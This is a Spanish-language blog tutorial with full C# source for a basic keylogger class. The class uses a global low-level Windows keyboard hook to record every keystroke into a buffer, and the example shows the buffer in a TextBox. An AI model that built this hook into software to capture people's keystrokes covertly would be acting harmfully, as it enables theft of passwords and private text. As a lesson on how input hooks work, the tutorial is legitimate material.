Capturar Teclado Tipo Keylogger en C#

En esta ocasión les traigo un pequeño tutorial de como capturar las pulsaciones del teclado desde un programa en C#, es un keylogger sencillo que solo captura las pulsaciones del teclado y las muestra en un TextBox, antes que nada quiero agradecer a Hernan Vivani ya que me basé en un código que él compartió para hacer el keylogger, solo lo modifique para trabajar bajo el paradigma orientado a objetos para hacer uso de eventos para actualizar el textbox con el contedido del buffer que almacena las teclas pulsadas.

Aquí pueden ver el código original y esta es la clase ya modificada.

using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
 
namespace Keylogger.NET
{
    public class KeyboardHook
    {
        // Constantes
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSKEYDOWN = 0x0104;
        private LowLevelKeyboardProc _proc = null;
        private IntPtr _hookID = IntPtr.Zero;
        private bool _isHooked = false;
        private static KeyboardHook _instance = null;
        private string _buffer = string.Empty;
 
        // Evento que se disparará al modificar el buffer
        public event EventHandler BufferChanged;
 
        // DLLImports
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
 
        /// <summary>
        /// Constructor
        /// </summary>
        protected KeyboardHook()
        {
            _proc = HookCallback;
        }
 
        /// <summary>
        /// Devuelve una instancia de la clase KeyboardHook
        /// </summary>
        /// <returns>asd</returns>
        public static KeyboardHook GetInstance()
        {
            if (_instance == null)
                _instance = new KeyboardHook();
            return _instance;
        }
 
        /// <summary>
        /// Activa la detección de las pulsaciones
        /// </summary>
        public void Hook()
        {
            _hookID = SetHook(_proc);
            _isHooked = true;
        }
 
        /// <summary>
        /// Desactiva la detección de las pulsaciones
        /// </summary>
        public void UnHook()
        {
            UnhookWindowsHookEx(_hookID);
            _isHooked = false;
        }
 
        /// <summary>
        /// Indica si la detección esta activa
        /// </summary>
        public bool IsHooked
        {
            get { return _isHooked; }
        }
 
        /// <summary>
        /// Resúmen de las teclas pulsadas
        /// </summary>
        public string Buffer
        {
            get { return _buffer; }
        }
 
        /// <summary>
        /// Evento que se dispara al hacer un cambio en el buffer
        /// </summary>
        /// <param name="e"></param>
        protected virtual void OnBufferChanged(EventArgs e)
        {
            BufferChanged(this, e);
        }
 
        /// <summary>
        /// Función que agrega la tecla pulsada al buffer
        /// </summary>
        /// <param name="key">Tecla pulsada</param>
        private void AppendBuffer(Keys key)
        {
            _buffer += key + ", ";
            // Se ejecuta el evento ya que se modificó el buffer
            OnBufferChanged(new EventArgs());
        }
 
        private IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }
 
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 
        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
            {
                int vkCode = Marshal.ReadInt32(lParam);
                AppendBuffer((Keys)vkCode);
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
    }
}

Ejemplo de Uso

Voy a usar un botón tanto para activar la detección como para desactivarla, este es el código del botón.

private void btnTeclado_Click(object sender, EventArgs e)
{
    if (_kbHook == null)
    {
        _kbHook = KeyboardHook.GetInstance();
        // Se asigna un manejador de evento
        _kbHook.BufferChanged += _kbHook_BufferChanged;
    }
    if (!_kbHook.IsHooked)
    {
        _kbHook.Hook();
        MessageBox.Show("Detección de teclado activada.");
    }
    else
    {
        _kbHook.UnHook();
        MessageBox.Show("Detección de teclado desactivada.");
    }
}

Este es el código del evento que usé para actualizar el TextBox al modificar el buffer el objeto KeyboardHook:

void _kbHook_BufferChanged(object sender, EventArgs e)
{
        textBox1.Text = _kbHook.Buffer;
}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.